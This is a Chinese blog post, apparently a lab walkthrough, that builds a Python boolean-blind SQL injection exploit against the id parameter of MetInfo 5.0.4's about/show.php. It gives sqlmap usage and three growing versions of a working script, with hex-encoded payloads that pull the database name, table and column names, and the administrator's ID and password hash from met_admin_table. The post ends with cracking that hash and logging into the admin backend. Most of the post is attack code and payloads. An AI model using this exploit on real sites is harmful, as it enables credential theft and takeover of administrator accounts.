• metinfo_5.0.4 EXP Python脚本编写


    metinfo_5.0.4EXP编写

    SQL注入漏洞

    漏洞点:/about/show.php?lang=cn&id=22

    http://10.9.75.142/metInfo_5.0.4/about/show.php?lang=cn&id=22
    
    • 1

    image-20230922173826857

    验证漏洞(数字型注入)

    状态码区分正确与错误

    做比较的时候不能采用单引号进行比较,要采用大小余号,ASCII进行编码

    image-20230922175634001

    我们看到页面正常

    image-20230922175714610

    页面不正常,说明此处为数字型注入,且存在布尔盲注漏洞。

    我们拿sqlmap跑一下:

    python .\sqlmap.py -u "http://10.9.75.142/metInfo_5.0.4/about/show.php?lang=cn&id=22"
    
    • 1

    image-20230922174839385

    发现只检测出了延时注入,而没有检测出存在布尔盲注,而延时注入的成本要比布尔盲注的成本要高许多,所以我们就可以自己写一个布尔盲注脚本。

    布尔盲注脚本编写

    # metinfo_5.0.4_sqli-boolean.py
    
    '''
    http://10.9.75.142/metInfo_5.0.4/about/show.php?lang=cn&id=22
    
    
    '''
    import requests
    import string
    import base64
    from termcolor import colored
    
    url="http://10.9.75.142/metInfo_5.0.4/about/show.php?lang=cn&id=22"
    
    i=0
    
    
    while True:
        i+=1
        
        # 获取数据库名称的长度:通过构造 payload ,将 i 的值逐渐增加,并拼接到 URL 中,发送请求。如果返回的页面内容中不包含 "../404.html" ,则表示查询成功,获取到了数据库名称的长度,将其保存在变量 sql_name_length 中。
        payload= f" and length((select database()))={i} --+" # 获取数据库名的长度时使用
        
        # 获取数据库所有表名的长度:通过构造 payload ,将 i 的值逐渐增加,并拼接到 URL 中,发送请求。如果返回的页面内容中不包含 "../404.html" ,则表示查询成功,获取到了所有表名的长度。
        payload= f" and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))={i} --+"  # 获取数据库所有表名时使用
        
        #print(payload)
        
        full_url=url+payload
        print(full_url)
    
        res=requests.get(url=full_url)
    
        if "../404.html" not in res.text:
            sql_name_length=i
            print(f"[*] The length is {i}")
            break
    
    
    
    # string.printable 是一个内置字符串常量,包含了 ASCII 字符集中的所有可打印字符。
    # strip() 是 Python 内置的字符串方法之一,它的作用是去除字符串的头尾指定字符(默认为空格字符)。
    # 因为string.prinable 的最后的几个字符是空格、制表符、换行符等不可打印字符。因为在进行 SQL 注入时,只需要使用可打印字符,所以需要使用 strip() 方法将不可打印字符去除。
    c_set= string.printable.strip()
    
    sql_name=""
    
    #  获取数据库名
    for b in range(sql_name_length):
    
        for c in c_set:
            payload=f" and ascii(substr((select database()),{b+1},1))={ord(c)} -- "  # 获取数据库名时使用,ord.c 表示转换为ascii码
            payload=f" and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{b+1},1))={ord(c)} -- "  # 获取数据库所有表名时使用
            # print(payload)
    
            full_url=url+payload
    
            res=requests.get(url=full_url)
    
            if "../404.html" not in res.text:
                sql_name+=c
                print(colored(f"[*] The sqlname is {sql_name}","green"))
                break
    
    '''
        DATABASE:
            metinfo_504
            
        table_name:
            met_admin_column,met_admin_table,met_app,met_column,met_config,met_cv,met_download,
            met_feedback,met_flash,met_flist,met_img,met_index,met_job,met_label,met_lang,met_link,
            met_list,met_message,met_news,met_online,met_otherinfo,met_parameter,met_plist,met_product,
            met_skin_table,met_sms,met_visit_day,met_visit_detail,met_visit_summary
    '''
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74

    说明:

    代码进入一个嵌套循环,外层循环遍历数据库名称的每个字符位置,内层循环遍历在 ASCII 可打印字符集(string.printable)中的每个字符。在每次循环中,代码构造一个 payload 用于获取数据库名称和所有表名的字符。具体步骤如下:

    1. 获取数据库名称的字符:通过构造 payload=f" and ascii(substr((select database()),{b+1},1))={ord(c)} -- " ,将字符位置 (b+1) 和字符的 ASCII 值 (ord(c)) 插入到 payload 中,发送请求。如果返回的页面内容中不包含 “…/404.html” ,则表示查询成功,获取到了数据库名称的字符,将其添加到变量 sql_name 中。
    2. 获取数据库所有表名的字符:通过构造 payload=f" and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{b+1},1))={ord(c)} -- " ,将字符位置 (b+1) 和字符的 ASCII 值 (ord(c)) 插入到 payload 中,发送请求。如果返回的页面内容中不包含 “…/404.html” ,则表示查询成功,获取到了所有表名的字符。

    执行结果:

    image-20230922211732511

    获取到表名之后,怎么拿到管理员账密,因为metinfo是一个出名的网站管理系统,我们可以通过百度搜一下他的数据库结构

    image-20230922214225296

    查到了账号和密码在met_admin_table表中,我们可以继续完善上面的脚本:

    构造payload:

    payload= f" and length((select group_concat(table_name) from information_schema.tables where table_name='met_admin_table'))>0"
    
    • 1

    在bp中进行测试:

    image-20230922215240720

    这里是因为单引号是不可以使用的,需要避免使用单引号,我们可以对其进行十六进制编码:

    image-20230922215530028

    再次测试:

    image-20230922215817106

    正常返回,这样payload就构造完成了。接下来构造脚本:

    # metinfo_5.0.4_sqli-boolean.py
    
    '''
    http://10.9.75.142/metInfo_5.0.4/about/show.php?lang=cn&id=22
    
    
    '''
    import requests
    import string
    import base64
    from termcolor import colored
    import sys
    
    banner='''
    ================================================================
    
          ____   _   _   _   _   ___ 
         / ___| | | | | | | | | |_ _|
        | |  _  | |_| | | | | |  | | 
        | |_| | |  _  | | |_| |  | | 
         \____| |_| |_|  \___/  |___|
                                     
                                        -- G_H_I
    
     Explain : In this case, the test is metinfo 5.0.4 sqli-boolean
    
    ================================================================
    
    '''
    
    print(colored(banner,"green"))
    
    flag = input(colored(f"Could you want to continue?[Y/n]","red"))
    
    if flag == "n":
        exit()
    
    
    url= "http://10.9.75.142/metInfo_5.0.4/about/show.php?lang=cn&id=22"
    
    i=0
    
    
    while True:
        i+=1
        payload= f" and length((select database()))={i} --+" # 获取数据库名的长度时使用
        payload= f" and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))={i} --+"  # 获取数据库所有表名时使用
        payload= f" and length((select group_concat(column_name) from information_schema.columns where table_name=0x6d65745f61646d696e5f7461626c65))={i} --+"
        # print(payload)
        
        full_url=url+payload
        print(full_url)
    
        res=requests.get(url=full_url)
    
        if "../404.html" not in res.text:
            sql_name_length=i
            print(colored(f"[*] The length is {i}","red"))
            break
    
    
    
    
    c_set= string.printable.strip()
    
    sql_name=""
    
    
    
    for b in range(sql_name_length):
    
        for c in c_set:
            payload=f" and ascii(substr((select database()),{b+1},1))={ord(c)} -- "  # 获取数据库名的长度时使用,ord.c 表示转换为ascii码
            payload=f" and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{b+1},1))={ord(c)} -- "  # 获取数据库所有表名时使用
            payload=f" and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x6d65745f61646d696e5f7461626c65),{b+1},1))={ord(c)} -- "
            # print(payload)
    
            full_url=url+payload
    
            res=requests.get(url=full_url)
    
            if "../404.html" not in res.text:
                sql_name+=c
                # print(colored(f"[*] The sqlname is {sql_name}","green"))
                print(colored(f"\r[*] The column_name is : {sql_name}","green"),end='') # end 是一个命名参数,用于指定在输出结束后要添加的字符,不添加 end 时,默认情况下是换行符 \n
                break
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87

    补充:

    concatgroup_concat 都是 MySQL 数据库中的字符串聚合函数。它们的作用是把多个字符串值连接成一个字符串,并返回连接后的结果。

    然而,两者有以下不同之处:

    1. concat 函数只能连接两个字符串,而 group_concat 函数可以连接多个字符串。
    2. concat 函数返回连接后的字符串结果,而 group_concat 函数返回所有连接后的字符串组成的一个字符串列表。

    image-20230923104826474

    我们得到了admin_id 和admin_pass,我们猜测这两个代表管理员账户和密码,我们接着完善脚本:

    # metinfo_5.0.4_sqli-boolean.py
    
    '''
    http://10.9.75.142/metInfo_5.0.4/about/show.php?lang=cn&id=22
    
        得到数据库名的长度
         and length((select database()))=1 --+
        
        得到数据库名  
         and ascii(substr((select database()),1,1))=1 --+ 
        
        得到数据库所有表名的长度总和 
          and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))=1 --+ 
    
        得到数据库所有表名 
         and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=1 --+
    
        得到met_admin_table表的所有列数  
         and length((select group_concat(column_name) from information_schema.columns where table_name=0x6d65745f61646d696e5f7461626c65))=1 --+
        
        得到met_admin_table表的所有字段
          and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x6d65745f61646d696e5f7461626c65),1,1))=1 --+ 
    
        获取met_admin_table表中的 admin_id和admin_pass 外加一个冒号分隔符的长度
         and length((select concat(admin_id,0x3a,admin_pass) from met_admin_table limit 0,1))=1 --+
        
        获取admin_id 和 admin_pass 的值
         and ascii(substr((select concat(admin_id,0x3a,admin_pass) from met_admin_table limit 0,1),1,1))=1 --+ 
    '''
    
    import requests
    import string
    import base64
    from termcolor import colored
    import sys
    
    banner='''
    ================================================================
    
          ____   _   _   _   _   ___ 
         / ___| | | | | | | | | |_ _|
        | |  _  | |_| | | | | |  | | 
        | |_| | |  _  | | |_| |  | | 
         \____| |_| |_|  \___/  |___|
                                     
                                        -- G_H_I
    
     Explain : In this case, the test is metinfo 5.0.4 sqli-boolean
    
    ================================================================
    
    '''
    
    print(colored(banner,"green"))
    
    flag = input(colored(f"Could you want to continue?[Y/n]","red"))
    
    if flag == "n":
        exit()
    
    
    url= "http://10.9.75.142/metInfo_5.0.4/about/show.php?lang=cn&id=22"
    
    i=0
    
    
    while True:
        i+=1
        payload= f" and length((select database()))={i} -- " # 获取数据库名的长度时使用
        payload= f" and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))={i} -- "  # 获取数据库所有表名时使用
        payload= f" and length((select group_concat(column_name) from information_schema.columns where table_name=0x6d65745f61646d696e5f7461626c65))={i} -- "
        payload= f" and length((select concat(admin_id,0x3a,admin_pass) from met_admin_table limit 0,1))={i} --+" # limit 0,1 :限制查询结果的行数为一行,从第 0 行开始,即第一行。
        # print(payload)
        
        full_url=url+payload
        # print(full_url)
    
        res=requests.get(url=full_url)
    
        if "../404.html" not in res.text:
            sql_name_length=i
            print(colored(f"[*] The length is {i}","green"))
            break
    
    
    flag = input(colored(f"Could you want to continue?[Y/n]","red"))
    
    if flag == "n":
        exit()
    
    c_set= string.printable.strip()
    
    sql_name=""
    
    
    
    for b in range(sql_name_length):
    
        for c in c_set:
            payload=f" and ascii(substr((select database()),{b+1},1))={ord(c)} -- "  # 获取数据库名的长度时使用,ord.c 表示转换为ascii码
            payload=f" and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{b+1},1))={ord(c)} -- "  # 获取数据库所有表名时使用
            payload=f" and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x6d65745f61646d696e5f7461626c65),{b+1},1))={ord(c)} -- "
            payload=f" and ascii(substr((select concat(admin_id,0x3a,admin_pass) from met_admin_table limit 0,1),{b+1},1))={ord(c)} -- "
            # print(payload)
    
            full_url=url+payload
    
            res=requests.get(url=full_url)
    
            if "../404.html" not in res.text:
                sql_name+=c
                # print(colored(f"[*] The sqlname is {sql_name}","green"))
                print(colored(f"\r[*] The met_admin_table-column_name is : {sql_name}","green"),end='') # end 是一个命名参数,用于指定在输出结束后要添加的字符,不添加 end 时,默认情况下是换行符 \n
                break
    
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87
    • 88
    • 89
    • 90
    • 91
    • 92
    • 93
    • 94
    • 95
    • 96
    • 97
    • 98
    • 99
    • 100
    • 101
    • 102
    • 103
    • 104
    • 105
    • 106
    • 107
    • 108
    • 109
    • 110
    • 111
    • 112
    • 113
    • 114
    • 115
    • 116

    执行结果:

    image-20230923105443011

    对得到的密文其进行解密:

    image-20230923105548514

    登录网站后台:

    image-20230923105757804

  • 相关阅读:
    【AGC】AppGallery Connect SDK遇到url is null问题分析
    「MySQL高级篇」MySQL锁机制 && 事务 -- 临键锁与幻读
    F#奇妙游(35):MVC模式和ADT分析
    Linux操作系统(含命令大全)
    SCI写作指南
    解决absolute绝对定位带来的div穿透问题
    Android调试Plugin
    【操作系统——虚拟内存管理】
    C++11 ——— 线程库
    MySQL -- 索引
  • 原文地址:https://blog.csdn.net/qq_45953122/article/details/133213364